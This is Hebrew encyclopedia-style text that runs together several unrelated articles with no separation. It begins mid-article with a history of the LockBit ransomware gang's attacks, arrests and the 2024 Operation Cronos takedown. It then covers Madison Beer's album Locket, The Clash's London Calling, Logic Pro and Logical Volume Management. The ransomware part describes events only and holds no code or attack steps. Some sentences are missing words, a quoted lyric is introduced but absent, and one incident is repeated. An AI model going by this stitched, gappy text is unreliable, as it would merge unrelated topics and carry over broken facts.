המעצר הגיע בעקבות חקירה של 2.5 שנים על כנופיית LockBit על ידי משרד המשפטים.
בינואר 2023 טענה הכנופיה כי תקפה את החברות הצרפתיות: חברת מוצרי הצריכה Nuxe והמרפאות הפרטיות ELSAN.
הכנופיה גנבה 821 ג'יגה-בייט של נתונים ממטה החברה.
באותו חודש, נפגעו גם שירותי הדואר המלכותי הבריטי בשל תקיפה של Lockbit.
בפברואר 2023 קיבלה הקבוצה אחריות למתקפה על רשת חנויות הספרים הקנדית Indigo Books and Music.
במרץ לקחה הקבוצה אחריות על תקיפת חברת המים הצרפתית BRL Group.
ב-16 במאי 2023 תקפה הכנופיה לראשונה חברה סינית - הסניף ההונג קונגי של העיתון China Daily.
קבוצת LockBit לא תקפה ישויות רוסיות ונמנעה מתקיפת בעלות ברית רוסיות.
במאי 2023 קיבלה הכנופיה אחריות על תקיפת , שבה נגנבו כ-10,000 מסמכי זהות מתיקי הלקוחות של החברה.
ביוני 2023 הודיע משרד המשפטים של ארצות הברית ל אישומים פליליים נגד רהאזוח הרוסי רסלן מגומדוביץ' אסטמירוב על חלקו בפעילות של LockBit.
על פי כיתוב האישום, הוא ביצע ישירות לפחות חמש התקפות כופר נגד קורבנות וקיבל חלק מתשלומי הכופר בביטקוין.
בסוף יוני 2023 נפלה TSMC קורבן להתקפת תוכנת כופר דרך אחד הספקים שלה.
LockBit דרשה כופר של 70 מיליון דולר.
ביולי 2023 הותקף נמל נאגויה ביפן, המטפל ב-10% מהמסחר במדינה.
באוקטובר 2023 טענה LockBit שגנבה נתונים רגישים מבואינג .
כמה ימים לאחר מכן הכירה בואינג בכך שנפלה קורבן לתקרית סייבר שהשפיעה על חלק מעסקי החלקים וההפצה שלה.
בנובמבר 2023, הותקפה חברת הבת האמריקאית של בנק סין לתעשייה ומסחר.
בלומברג דיווחו כי היחידה האמריקאית של הבנק באותה תקופה נחשבה למלווה הגדולה בעולם לפי נכסים.
באותו החודש פרסמה LockBit נתונים פנימיים שהקבוצה גנבה חודש קודם לכן מבואינג לאינטרנט.
כן כן כנופיית LockBit תקפה את חברת המסחר של שיקגו ואת Alphadyne Asset Management .
בלומברג דיווח כי הפריצה לחברת המסחר אירעה באוקטובר.
מאז 2020 ביצעה הכנופיה 1,700 התקפות וסחטה 91 מיליון דולר, לפי סוכנות אבטחת הסייבר והתשתיות האמריקאית .
The Register דיווח בסוף נובמבר 2023 כי LockBit מתמודדת עם קשיים פנימיים, וכי מנהיגי הכנופיה משנים חלק משיטות המשא ומתן שלה עם קורבנות בתגובה לשיעור התשלום הנמוך שהושג.
בינואר 2024 תקפה כנופיית LockBit את מחשבי מחוז פולטון בג'ורג'יה שבארצות הברית.
בהודעה מטעם המחוז נטען שהמחוז סירב לשלב את הכופר, שהתקיפה זה לא קשורה לתהליך הבחירות, ושלא נגנב מידע רגיש.
במאי 2024 לקחה כנופיית LockBit אחריות על מתקפה על הקמעונאית הקנדית London Drugs, שסגרה את כל אתריה ברחבי קנדה.
LockBit איימה אז לשחרר נתונים תוך 48 שעות אם לא ישולם כופר של 25 מיליון דולר.
London Drugs הצהירו כי הם "לא מוכנים ואינם יכולים לשלם כופר".
ב-23 במאי 2024 אישרה החברה כי נתונים הודלפו על ידי הכנופיה, וכי לעובדים שנפגעו מוצעים שירותי הגנה מפני גניבת זהות.
ביוני 2024 הותקף מרכז החולים האוניברסיטאי בזאגרב, המתקן הרפואי הגדול ביותר בקרואטיה.
מתקפת הסייבר גרמה להפרעה משמעותית.
LockBit טענה כי חילצה מספר רב של תיקים, כולל רשומות רפואיות ופרטי עובדים, ודרשה סכום לא ידוע בתמורה לאי פרסום הנתונים.
בפברואר 2024 כאשר נסגרו שרתי LockBit על ידי רשויות אכיפת החוק, נמצא כי גרסה חדשה, LockBit-NG-Dev, הייתה בשלבי פיתוח מתקדמים; טרנד מיקרו פרסמה דוח מפורט על כך.
תפיסה על ידי רשויות החוק ב-2024
ב-19 בפברואר 2024 כחלק ממבצע קרונוס השתלטה סוכנות הפשע הלאומית הבריטית בשיתוף עם יורופול וסוכנויות אכיפת חוק בינלאומיות אחרות על אתרי רשת אפלה השייכים לכנופיית תוכנת הכופר LockBit.
אדם אחד נעצר באוקראינה, אחד בפולין ושניים בארצות הברית.
שני רוסים נקראו גם הם, אך לא נעצרו.
באמצעות המידע שנתפס, שוחרר לשימוש חופשי מפצח לביטול הצפנת LockBit 3.0.
לאחר ההשתלטות פרסמו רשויות אכיפת החוק מידע על הקבוצה באתר האינטרנט שלה, ובפרט מידע על כך שיש לה לפחות 188 שותפים.
רשויות אכיפת החוק השיגו גם 30,000 כתובות ביטקוין ששימשו לניהול רווחי הקבוצה מתשלומי כופר, שהכילו 2,200 BTC (112 מיליון דולר).
ב-24 בפברואר 2024 הופיע אתר חדש שטען שהוא מנוהל על ידי LockBit.
האתר החדש מנה יותר מתריסר קורבנות לכאורה, כולל ה-FBI, בתי חולים ומחוז פולטון בג'ורג'יה.
בפברואר פרסם מערך הסייבר הלאומי בישראל דוח פעילות על תקיפות LockBit בישראל, וייחס להן את מרב התקיפות בישראל בחודשים שקדמו לפרסום.
ב-7 במאי 2024 הוכרזו אישומים וסנקציות נגד דמיטרי חורושב, שנחשד כמנהל ומפתח של LockBit.
ב-21 במאי 2024 נטלה הכנופיה אחריות על מתקפה על משרדי רשת הקמעונאות הקנדית London Drugs, ודרשה תשלום של 25 מיליון דולר.
בעקבות המתקפה נסגרו כל חנויות London Drugs ברחבי המדינה בין ה-28 באפריל ל-7 במאי 2024. London Drugs סירבה לשלם את הכופר, והצהירה כי נתוני הלקוחות לא נפגעו.
הקבוצה איימה להדליף נתונים מהפדרל ריזרב האמריקאי, אך נראה שהנתונים שהודלפו הגיעו ישירות מ-Evolve, ולא מהפדרל ריזרב.
ב-18 באוגוסט 2024 נעצר בישראל אחד ממפתחי הכופרה רוסטיסלב פאנב, ובאוקטובר עתרה הפרקליטות בבקשה להכריז עליו בר הסגרה לארצות הברית.
Locket (בעברית: תליון) הוא אלבום האולפן השלישי של הזמרת-יוצרת האמריקאית מדיסון ביר.
האלבום יצא לאור ב-16 בינואר 2026, תחת חברות התקליטים אפיק רקורדס ו-Sing It Loud.
האלבום יצא שלוש שנים לאחר אלבומה הקודם, Silence Between Songs.
האלבום משתייך לז'אנר הפופ, ומשלב בתוכו תתי-ז'אנרים בולטים כגון דאנס-פופ, R&B, סינת'-פופ ואלקטרופופ.
בניגוד לאלבומה הקודם שהיה מאופק יותר, Locket מתואר כאלבום המשלב הפקות קצביות ומוזיקת מועדונים לצד בלדות אינטימיות.
ביר הייתה מעורבת באופן מלא בתהליך היצירה, הן ככותבת והן כמפיקה שותפה של האלבום.
לצדה עבדו המפיקים המוזיקליים וואן לאב (טים סומרס), לוסטבוי ולירוי קלמפיט.
ביר תיארה את האלבום כ"קפסולת זמן" מטפורית שבה כל שיר הוא זיכרון או רגע שנשמר בתוך תליון קרוב לליבה.
האלבום ושיריו זכו להכרה ולהצלחה במצעדים עוד טרם יציאתו המלאה.
הסינגל המוביל מתוך הפרויקט, "Make You Mine", ששוחרר לפני צאת האלבום, העניק לביר מועמדות לפרס גראמי בקטגוריית "הקלטת הדאנס-פופ הטובה ביותר" בטקס שנערך ב-2025. השיר "Make You Mine" הגיע למקום הראשון במצעד ה-דאנס איירפליי של בילבורד.
הסינגל "Yes Baby" הגיע גם הוא למקום הראשון במצעד הדאנס איירפליי.
הסינגל "Bittersweet" הפך לשיר הראשון בקריירה של ביר שנכנס למצעד הבילבורד הוט 100 והוגדר כלהיט המהיר ביותר שלה ברדיו טופ 40. האלבום זכה לביקורות חיוביות המגדירות אותו כפריצת הדרך של ביר למיינסטרים של הפופ וכאחת היצירות החזקות והמגובשות שלה.
העבודה על האלבום החלה לאחר סיום סיבוב ההופעות הקודם של ביר, "The Spinnin Tour", בסתיו 2025. ביר תיארה את האלבום כ"קפסולת זמן" וככלי קיבול לזיכרונות ולחוויות שצברה, בדומה לתליון ששומרים קרוב ללב.
מבחינה תמטית, האלבום עוסק בהתמודדות עם מערכות יחסים, פרידות כואבות וצמיחה אישית.
ביר ציינה כי בניגוד לאלבומה הקודם, Silence Between Songs, שהיה אינטרוספקטיבי ומאופק יותר, ב-Locket היא ביקשה לחזור לשורשי הפופ שלה וליצור מוזיקה שתהיה מהנה לביצוע על הבמה, תוך שילוב של הפקות אנרגטיות וריקוד לצד תכנים רגשיים וחשופים.
הכתיבה הושפעה רבות מהתובנות שרכשה במהלך סיבוב ההופעות, שם הבינה אילו שירים מהנים יותר לביצוע מול קהל.
האלבום נכתב מתוך תחושת שחרור וחוסר רצון לרצות את הציפיות החיצוניות או את מצעדי הפזמונים, אלא מתוך רצון ליצור מוזיקה שהיא גאה בה.
תהליך הכתיבה של האלבום היה מהיר ואינטנסיבי; ביר ציינה כי רוב רשימת השירים הסופית נכתבה כבר בשלושת החודשים הראשונים של העבודה על הפרויקט.
תהליך היצירה התאפיין בתחושת חופש יצירתי, בדומה לתהליך העבודה על אלבום הבכורה שלה, Life Support.
שם האלבום נבחר על ידי ביר עוד לפני שהעבודה עליו הסתיימה.
היא סיפרה כי ערכה רשימה של מילים בעלות משמעות עבורה בטלפון הנייד, והמילה "Locket" (תליון) בלטה ככותרת המתאימה ביותר המייצגת משהו מוחשי, סנטימנטלי ואינטימי.
מדיסון ביר שימשה ככותבת וכמפיקה שותפה לאורך כל האלבום.
היא חזרה לשתף פעולה עם צוות המפיקים הקבוע שלה, עמם עבדה גם בעבר - וואן לאב (טים סומרס), לוסטבוי, לירוי קלמפיט וג'ספר האריס.
ביר הדגישה כי המעורבות שלה בהפקה הייתה מלאה, וכי המפיקים השותפים סמכו על החזון והטעם האמנותי שלה.
הקמפיין לקידום האלבום כלל מספר אירועים ושיחרורים אסטרטגיים.
לפני צאת האלבום שוחררו הסינגלים "Make You Mine", "Yes Baby" ו-"Bittersweet", אשר זכו להצלחה במצעדים וברדיו.
ביר ביצעה את השירים "Make You Mine" ו-"Bittersweet" במהלך תצוגת האופנה של ויקטוריה'ס סיקרט לשנת 2025, אירוע ששודר בשידור חי וזכה למיליוני צפיות.
כמו כן, היא הופיעה במשדר ערב השנה החדשה של דיק קלארק.
ביר הכריזה על שם האלבום ותאריך היציאה דרך הרשתות החברתיות, תוך שיתוף סרטוני טיזר שכללו דימויים ויזואליים של כנפי מלאך ותליונים.
מספר ימים לפני צאת האלבום, ביר הופיעה בתוכנית הלילה של ג'ימי פאלון וביצעה בהופעת בכורה את השיר "Bad Enough".
ביר ערכה מסיבת השמעה מוקדמת בשיתוף עם iHeartRadio וטיקטוק, שם חשפה שירים חדשים בפני מעריצים.
האלבום נבנה סביב מטפורה מרכזית של תליון ככלי קיבול לזיכרונות, רגשות וחוויות אישיות שנשמרים קרוב ללב.
ביר תיארה את האלבום כ"קפסולת זמן" וכפסיפס של רגעים שונים מחייה, כאשר כל שיר מייצג זיכרון שנחתם ונשמר.
מבחינה לירית, האלבום עוסק במורכבות של מערכות יחסים רומנטיות, תוך שיטוט בין פגיעות רגשית לבין העצמה ושליטה.
שירים כמו "Bad Enough" ו-"Healthy Habit" עוסקים בקושי להתנתק ממערכות יחסים הרסניות, בחזרה לדפוסים מוכרים אך מזיקים, ובמודעות העצמית לכך שהסטנדרטים נמוכים אך הרגש חזק מההיגיון.
השיר "Angel Wings" מציג מנגנון התמודדות ייחודי שבו הדוברת מעדיפה לדמיין שהאקס שלה מת כדי להימנע מהכאב שבידיעה שהוא חי בלעדיה.
השיר "Bittersweet" מתאר את שלב ההשלמה והסגירה, שבו העצב והתקווה מתערבבים.
בניגוד לשירי השברון, רצועות כמו "Make You Mine" ו-"Yes Baby" מציגות צד דומיננטי, פלרטטני ומיני, שבו ביר דורשת תשומת לב וסגידה.
השיר הסוגר, "Nothing At All", נוגע בפחד מההטבה במצב הנפשי ומהתחושה שכל עלייה מובילה לנפילה כואבת יותר.
מבחינה מוזיקלית, Locket מתאפיין בשילוב אקלקטי של ז'אנרים, הנע בין הפקות דאנס-פופ אנרגטיות לבין בלדות אינטימיות ומינימליסטיות.
האלבום נחשב למלוטש וממוקד יותר מקודמיו.
סינגלים כמו "Yes Baby" ו-"Make You Mine" שואבים השראה ממוזיקת EDM, האוס וסינת'-פופ, עם דגש על מקצבים מהירים, בייסליינים עמוקים וסינתיסייזרים אפלים.
השיר "Angel Wings" מתואר כבעל השפעות R&B משנות ה-90 ותחילת שנות ה-2000. לעומת זאת, השיר "For the Night" משלב אלמנטים של בוסה נובה, גיטרות אקוסטיות ופסנתר ג'אזי, המזכירים סגנון של "קרונר" משנות ה-60. השיר "Complexity" משלב מקצבי גראז' וצלילי 8-ביט המזכירים משחקי וידאו.
ביר עושה שימוש נרחב בקול ה"סירנה" שלה, המאופיין במנעד רחב ובמעברים בין שירה רכה ולוחשת, המושווית לעיתים לבילי אייליש, לבין בלטינג עוצמתי ברגעים דרמטיים, כמו בפזמון של "Bad Enough".
נעשה שימוש אמנותי באפקטים קוליים כמו אוטו-טיון ו-Vocoder, במיוחד בשיר "You're Still Everything" ובסיום של "Nothing At All", כדי ליצור תחושת ניתוק רגשי או "רובוטיות עצובה".
האלבום עשיר בהרמוניות קוליות ובשכבות ווקאליות המעניקות נפח להפקה.
לקידום האלבום שוחררו מספר סינגלים שזכו להצלחה במצעדים וברדיו: "Make You Mine" שוחרר כסינגל מוביל זמן רב לפני צאת האלבום.
השיר זכה להצלחה רבה, הגיע למקום הראשון במצעד הדאנס איירפליי של בילבורד והעניק לביר מועמדות לפרס גראמי.
"Yes Baby" יצא לאור בספטמבר 2025 והמשיך את הקו המוזיקלי הקצבי, תוך שהוא מגיע גם כן לראש מצעד הדאנס איירפליי.
"Bittersweet" שוחרר כסינגל השלישי וסימן הישג משמעותי בקריירה של ביר, כאשר הפך לשיר הראשון שלה שנכנס למצעד הבילבורד הוט 100 והוגדר כשיר שהגיע לרדיו טופ 40 במהירות הגבוהה ביותר בקריירה שלה.
"Bad Enough" יצא עם יציאת האלבום המלא ב-16 בינואר 2026 ושוחרר הווידאו-קליפ הרשמי לשיר זה.
השיר נחשף בהופעת בכורה טלוויזיונית בתוכנית הלילה של ג'ימי פאלון מספר ימים קודם לכן.
ב-13 בינואר 2026, הכריזה ביר על יציאה לסיבוב הופעות עולמי בשם "The Locket Tour" לקידום האלבום.
הסיבוב, המוגדר כגדול ביותר בקריירה שלה עד כה, כולל למעלה מ-30 הופעות בצפון אמריקה, אירופה ובריטניה.
סיבוב ההופעות עתיד להתחיל ב-11 במאי 2026 בקרקוב, פולין, ולהסתיים ב-13 ביולי 2026 בהופעת "חזרה הביתה" (Homecoming) במדיסון סקוור גארדן בניו יורק.
הופעה זו מציינת את הפעם הראשונה בה ביר מופיעה כמופע הראשי באולם זה, כמו גם בפורום קיה בלוס אנג'לס וב-O2 ארנה בלונדון.
את ביר מלווים בסיבוב ההופעות מספר אמנים אורחים: איזבל לרוסה בחלק האירופי והבריטי של הסיבוב, ת'אי בחלק הצפון-אמריקאי ולולו סיימון שמופיעה בכל מופעי הסיבוב.
האלבום הופץ בפלטפורמות הדיגיטליות וכן בפורמטים פיזיים הכוללים תקליטי ויניל ותקליטורים.
בסמוך למועד היציאה, קיימה ביר אירועי חתימה על עותקים פיזיים של האלבום בניו יורק.
בתמונות היח"צ וברשתות החברתיות נראתה ביר באולפן עם עטיפת הוויניל של האלבום.
עם צאתו, Locket זכה לביקורות חיוביות ברובן מצד מבקרי המוזיקה, אשר ציינו את האלבום כנקודת מפנה בקריירה של ביר וכעדות להתבגרותה האמנותית.
מבקרים רבים הדגישו כי האלבום מפריך את התפיסה המוטעית לגביה ככוכבת רשת בלבד ומבסס את מעמדה כיוצרת פופ רצינית ומוערכת.
המגזין Clash העניק לאלבום ציון 8 מתוך 10, וציין כי ביר "מצאה סוף סוף את הצליל שלה".
המבקר מלבין בואטנג תיאר את האלבום כ"פסיפס של זיכרונות" וכשילוב מרשים בין פגיעות לבין ווקאל עוצמתי.
באופן דומה, בביקורת ב-The AU Review, פיטר גריי הגדיר את האלבום כ"פופ שקט והרסני" וכאחת היצירות הטובות ביותר שלה, תוך ציון כי האלבום מתגמל האזנה קפדנית ומהווה יצירה רגשית מגובשת.
Club ציין כי באלבום זה ביר "מוצאת את יציבותה" וכי מדובר בעבודתה הממוקדת והמהנה ביותר עד כה, בניגוד לאלבומיה הקודמים שתוארו כבעלי אופי "לואו-פיי ישנוני".
מבקרים רבים שיבחו את הכנות והפתיחות באלבום.
ב"אינדפנדנט", צוין כי מתחת ל"ברק הפופ" של האלבום מסתתר עומק אמיתי ו"עור רגשי", כשהשירים משלבים חושניות אפלה עם התמודדות עם טראומות עבר.
מגזין RIFF שיבח את האיזון בין הליטוש לבין הזהות העצמית שנמצאה בו, תוך ציון השליטה הווקאלית והניואנסים הרגשיים.
מגזין RGM תיאר אותו כאוסף של וידויים ומחשבות אינטימיות שביר אולי לא הייתה מרגישה בנוח לומר בקול רם, תוך הדגשת כוחה כמספרת סיפורים.
לצד השבחים, נשמעה גם ביקורת מסוימת על התוכן הלירי.
בבלוג המוזיקה Shatter the Standards, האלבום דורג כ"מעל הממוצע", כאשר המבקר טען כי האלבום "מכפיל את העיסוק בקיבעון רומנטי".
הביקורת ציינה כי בעוד שהכתיבה ישירה ולא מסתירה דבר, היא לעיתים פשטנית מדי ואינה מציעה מורכבות מספקת לסיטואציות המתוארות.
+ תאריכי יציאות לאור ופורמטים עבור Locketאזורתאריך יציאהפורמט (ים)חברת תקליטיםהערותכלל העולם16 בינואר 2026הורדה דיגיטלית • הזרמת מוזיקה • תקליטור • תקליט • קלטת שמעאפיק • Sing It Loud
London Calling הוא אלבום כפול מאת להקת הפאנק "הקלאש" אשר יצא לאור בדצמבר 1979 באנגליה, ובשבוע הראשון של ינואר 1980 בארצות הברית.
האלבום הווה את פריצת הדרך הבולטת של הלהקה, ומאז פרסום האלבום הפכה מוכרת ביותר.לצד פאנק רוק (Punk rock) סטנדרטי, מאופיין האלבום בקשת רחבה של סגנונות מוזיקליים ביחס לאלבומי הלהקה הקודמים, עם אלמנטים של פופ, רוקבילי, רית'ם אנד בלוז, סקא, ורגאיי.
האלבום, שהיה האלבום השלישי של הקלאש, נחשב על ידי רבים כפסגת היצירה של הלהקה ונחשב גם כאחד מאלבומי הרוק הטובים ביותר בהיסטוריה של הרוק.
מגזין הרוק האמריקאי רולינג סטון בחר בסוף שנת 1989 באלבום, כטוב ביותר בשנות השמונים (אף על פי שהאלבום יצא בדצמבר 1979. המגזין נאחז בעובדה שבארצות הברית יצא האלבום בינואר 1980).
בנוסף, מדורג האלבום במקום השמיני ברשימת 500 האלבומים הגדולים בכל הזמנים של המגזין.
שמו של האלבום ושל שיר הנושא באלבום נלקחו ממילות הפתיחה בתוכנית של ה-BBC והזכירו את פתיחת שידוריו של שדר הרדיו האמריקאי אדוארד מורו ששידר לארצות הברית מלונדון המופצצת במלחמת העולם השנייה.
בהתאם לכך, שיר הנושא הוא בעל אופי אפוקליפטי ומנבא שואה גרעינית, עידן קרח חדש, שיטפון ורעב.
האלבום היה כפול, וכאמור, נמכר במחיר של אלבום רגיל.
חברת התקליטים של הקלאש רצתה שיהיה זה אלבום רגיל כדי שיהיה אפשר להוציאו מהר לשוק, אך הלהקה והמפיק דרשו להמשיך לעבוד ובסופו של דבר ניצחו בוויכוח.
באלבום ניכרות השפעות חזקות של הרוק האמריקאי הבסיסי.
הקלאש נחשפו ביתר שאת למוזיקה הזו בשני סיבובי הופעות שערכו בארצות הברית במהלך שנת 1979. סיבוב ההופעות הראשון שלהם בארצות הברית שהיה קצר ונערך במשך שלושה שבועות בפברואר 1979 נקרא פרל הארבור והלהקה אירחה בכל הופעותיה את אומן הרוק הוותיק בו דידלי.
שיאו של מסע ההופעות היה באולם הפלאדיום בניו יורק שבו נכחו כל "המי ומי" של הרוק האמריקאי וכל המבקרים החשובים שיצאו מגדרם בתשבחות להופעה האנרגטית של הקלאש.
הסיבוב השני היה בחודשים ספטמבר ואוקטובר באותה שנה וגם הוא היה מוצלח מאוד.
בעקבות הופעות אלו הכניסה הלהקה לאלבום גרסאות כיסוי לשירים אמריקאים ישנים כמו: "Brand New Cadillac" ,"Revolution Rock" ו-"I Fought the Law" (רק בגרסה האמריקאית של האלבום).
כמו כן, ניכרות באלבום גם השפעות חזקות של רגאיי וסקא.
כל השירים המקוריים באלבום נכתבו, כמו בשני האלבומים הראשונים, על ידי הצמד הקבוע סטראמר וג'ונס חוץ משיר אחד - "The Guns of Brixton" שהיה אחד מלהיטי האלבום ונכתב על ידי סימונון.
מילות השיר תוקפניות במיוחד והשיר מתחיל במילים:
עוד להיטים גדולים באלבום היו השירים "Train in Vain" ו-"Clampdown".
למרות הפרסום הרב שזכה לו האלבום, הצלחתו המסחרית לא הייתה כה גדולה.
בבריטניה הוא הגיע למקום התשיעי במצעדי המכירות ובארצות הברית רק למקום ה-27.
עטיפת האלבום היא הומאז' לעטיפת אלבומו הראשון של אלביס פרסלי, "Elvis Presley".
בצילום העטיפה מצולם פול סימונון מטיח את גיטרת הבס שלו (פנדר פרסישן בס ) בבמת אולם פאלאדיום בניו יורק בהופעה בספטמבר 1979. בראיון משנת 2001 אמר סימונון כי הטיח את הגיטרה בגלל שזעם כשנוכח שהסדרנים באולם לא מאפשרים לקהל לקום מהמושבים.
הצלמת, פני סמית' , סברה כי בתמונה אין די מיקוד ולכן לא בחרה בה לעטיפה.
אולם המעצב הגרפי של האלבום העדיף אותה על צילומים אחרים.
ב-2002 בחר מגזין המוזיקה הבריטי Q בצילום של סמית' כצילום הרוק'נרול הטוב בהיסטוריה.
בתקופה שלפני אולימפיאדת לונדון (2012) ובמהלך המשחקים, הרבו אמצעי התקשורת בישראל ובעולם להשתמש בביטוי "London Calling" בהקשר של ההתעניינות העולמית הרבה במשחקים.
לוג'יק (בעבר Logic Audio וכיום Logic Pro) היא תוכנת DAW (תוכנה לעריכת אודיו דיגיטלי) מקצועית, שמגרסה 6 ואילך מיועדת לשימוש אך ורק על גבי מחשבי אפל.
בשנת 2002 קנתה חברת "אפל" את חברת "Emagic", המפתחת המקורית של התוכנה, ומאז שייכת התוכנה לאפל ומשווקת כחלק מחבילת "Apple Logic Studio" לעריכה מקצועית של אודיו.
גרסאות 7, 8 ו-9 של התוכנה הגיעו על גבי מספר תקליטורי DVD, בעוד הגרסה הנוכחית של התוכנה, "Logic Pro X", שיצאה בשנת 2013, ניתנת לרכישה אך ורק דרך חנות האפליקציות של אפל (App Store), המותקנת במחשבי Mac, במחיר של 199$, זול משמעותית מתוכנות מתחרות בענף, דוגמת Cubase ו-Pro Tools.
לאחר שלוש גרסאות דומות בממשק המשתמש, בגרסה האחרונה (X) שהיא הגרסה העשירית של התוכנה, שונה ממשק המשתמש, ולמעשה התוכנה עוצבה מחדש בצורה דומה לתוכנה Garageband, שהיא תוכנה למוזיקאים מתחילים, הניתנת להתקנה ע"ג מחשבי Mac, אך גם על גבי המכשירים הניידים של אפל, דוגמת iPhone ו-iPad.
התוכנה זכתה לביקורות נלהבות של מגזיני האודיו המקצועי המובילים בעולם, דוגמן Computer Music ו-Sound on Sound, ונחשבת היום כאחת מהתוכנות המובילות בעולם ליצירה והפקה של מוזיקה באופן מקצועי.
בניגוד לפורמט "הכלים הווירטואליים" הנפוץ "VST" (של חברת "Steinberg"), התוכנה תומכת בפורמט AU (יחידות אודיו) של חברת "אפל".
בשל תפוצתם המוגבלת יחסית של מחשבי אפל (ומקינטוש בפרט) בישראל, גם תפוצתה של "Logic" בישראל נדירה יחסית.
התוכנה מגיעה עם תוספים (פלאג-אינים) רבים, בהם מודל הפסנתר החשמלי EVP88, הסאמפלר EXS24 והריוורב (אפקט תהודה) מבוסס דגימות השטח Space Designer, שיחד עם כלים חזקים נוספים (בהם גם כמה סינתיסייזרים משוכללים ומערכת ה-Apple Loops המתוחכמת) הופכים אותה לתוכנת ההפקה המושקעת והמלאה ביותר בשוק.
גודלה של התוכנה, לאחר הורדת התוספות, ללא תוכנות פלאג-אין מצד שלישי, היא מעל ל-50 ג'יגה בייט.
גם הסינתיסייזרים שמגיעים עם התוכנה, בהם Scarpelture שמשמש כסינתיסייזר היברידי ו-ESM, סינטי מונופוני שפופולרי במיוחד בקרב יוצרי טראנס פסיכדלי (שיוצרים איתו לרוב את תפקיד הבייסליין), פופולריים ברחבי העולם.
Logical volume management או בקיצור LVM (המונח ניהול נפח אחסון שהוא התרגום לעברית איננו בשימוש) הוא שכבת הפשטה בין כוננים קשיחים (או התקני אחסון אחרים) ומערכות קבצים, צורה זו מחליפה (לפחות חלקית) את מערכת ניהול המחיצות הסטטית הישנה יותר.
מנהל האחסון יכול לשרשר מחיצות, לפרוס את הנתונים על כמה מחיצות או לשלב בדרך אחרת את המחיצות לתוך נפח אחסון וירטואלי גדול שניתן לשנות את גודלו או להעבירו, לעיתים (בתלות במערכת ההפעלה וב־LVM עצמו) גם כאשר נמצא בשימוש.
השם של הרכיב נקבע על פי השם של רכיב זה ב־HP-UX והוא מעט מטעה כי LVM מורכב משני מרכיבים עיקריים: רמה ניהולית (מנהל) עם ממשק תווי או גרפי, ורכיב בליבת מערכת ההפעלה אשר מכיל את ניהול האחסון בפועל.
LVM מהווה את אחת מהצורות רבות של וירטואליזצית אחסון והוא מיושם כשכבה במחסנית מנהלי ההתקנים במערכת ההפעלה.
בעיקרון אין צורך לשמור תמונה מדויקת של המיפוי מה־PV ל־LV, משום שהפיזור של ה־PV-ים בתוך VG מתבצע באופן אוטומטי על ידי ה־LVM.
אולם על מנת לייעל את התנועה של ראשי הכתיבה/קריאה ולקבל ביצועים טובים יותר ביישומים קריטיים ניתן להבטיח שקריאות או כתיבות לדיסק המתרחשות בו זמנית יבוצעו על דיסקים פיזיים שונים.
יתר על כן, נהוג בפועל לשלוט על תפוצת הנתונים הפיזית כך ש־LV יהיה מפוזר על פני מספר דיסקים פיזיים ולפיכך ההשפעה של כשל בדיסק תהא מוגבלת.
למטרות אלו ה־LVM צריך לתמוך בבדיקה של התפלגות הנתונים על התקן האחסון הפיזי ולתת אפשרות לשנותה.
היתרון העיקרי של LVM על החלוקה המסורתית למחיצות סטטיות הוא הגמישות בשינוי החלוקה של שטח האחסון.
ניתן להגדיל את מערכת הקבצים לאחר ההגדרה הראשונית על ידי הוספת נפח אחסון פיזי (דיסקים) שניתן להקצותו לדיסקים הלוגיים (ה־LV-ים) החדשים.
בנוסף, מערכת קבצים קיימת יכולה להיות מוגדלת אל השטח הזמין החדש, אך לא כל מערכות הקבצים תומכות בכך ללא בעיות, אם בכלל.
תחת מרבית מערכות ההפעלה, את ההגדלה של LV ושל מערכת הקבצים ניתן לבצע בזמן הפעילות, מבלי שהיישומים יהיו מושפעים מההגדלה.
גם הקטנת השטח של מערכת קבצים היא אפשרית אולם לרוב מסובכת יותר.
לעומת זאת היתרונות העיקריים של חלוקה סטטית למחיצות הם פשטות הניהול (יש הרבה פחות אופציות) ולכן לעיתים גם מהירות רבה יותר, כמו כן החלוקה הסטטית מאפשרת לבצע אתחול של כמה מערכות הפעלה ממספר מחיצות על אותו דיסק, מה שלא נתמך על ידי ה־LVM הנפוצים.
רוב מימושי מנהלי אחסון משתמשים באותו העיצוב הבסיסי.
העיצוב מתחיל מדיסקים פיזיים (PV-ים), אשר יכולים להיות דיסקים קשיחים, מחיצות בדיסק הקשיח, או LUN-ים שבהתקן אחסון חיצוני (לרוב ב־SAN).
ההתייחסות ל־PV-ים היא כאל רצפים של גושים המכונים מקטעים פיזיים (physical extents - PEs).
בכמה מנהלי אחסון (כגון אלו של HP-UX ולינוקס) כל ה־PE-ים חייבים להיות בגודל אחיד; באחרים (כגון VxVM) גודלם יכול להשתנות וניתן אף לפצלם ולמזגם.
בדרך כלל, PE-ים פשוט ממופים, אחד אל אחד, אל מקטעים לוגיים (Logical extents - LEs).
כאשר מופעל שיקוף, PE-ים מרובים ממופים אל כל LE.
PE-ים אלו יוצרים VG פיזי (physical volume group - PVG) שהוא קבוצה של PV-ים באותו גודל שפועלת בדומה לדיסקים קשיחים במערך RAID1.PVG-ים בדרך כלל מוגדרים כך שהם נשמרים על דיסקים שונים (ולעיתים אף על מערכי SAN שונים) או על אפיקי נתונים שונים עבור יתירות מקסימלית.
קבוצה של LE-ים מרכיבה VG (volume group).
דיסקים לוגיים או LV-ים (Logical volumes) נוצרים על ידי מחיצות דיסק וירטואלי המכילות שרשור של ה־LE-ים.
ה־LV-ים משמשים כהתקני בלוקים בסיסיים, כמו מחיצות בדיסק והשימושים בהם זהים - כבסיס למערכות קבצים שניתן לבצע לה mount, כקובץ החלפה או ישירות (למשל על ידי מסדי נתונים).
כאשר ה־LV-ים פרוסים על מספר דיסקים, כל אחד מסדרה של LE-ים רצופים מוקצה מ־PV אחר; מצב זה יכול לשפר את הביצועים בקריאה רצופה ארוכה, וזאת בתלות בגודל של ה־LE, בשל שילוב תפוקת הקריאה של PV-ים מרובים.
אפשר להגדיל או לכווץ LV-ים באמצעות שרשור LE-ים או להקטין אותם על ידי החזרת LE-ים למאגר הלא מנוצל.
ה־LE-ים בשרשור לא חייבים להיות רציפים, מה שמאפשר ל־LV-ים לגדול מבלי צורך להעביר את המידע על מה שכבר הוקצה.
כמה מנהלי אחסון מאפשרים ל־LV-ים לשנות את גודלו בזמן השימוש.
שינוי גודל כזה משנה את גודל השטח המכיל אותו ולא בהכרח משנה את גודל מערכת הקבצים שעליו.
במקרה כזה מומלץ להשתמש במערכת קבצים שניתן לשנות את גודלה על מנת להתאים את מערכת האחסון שלה בזמן הפעילות מבלי להפריע ליישומים.
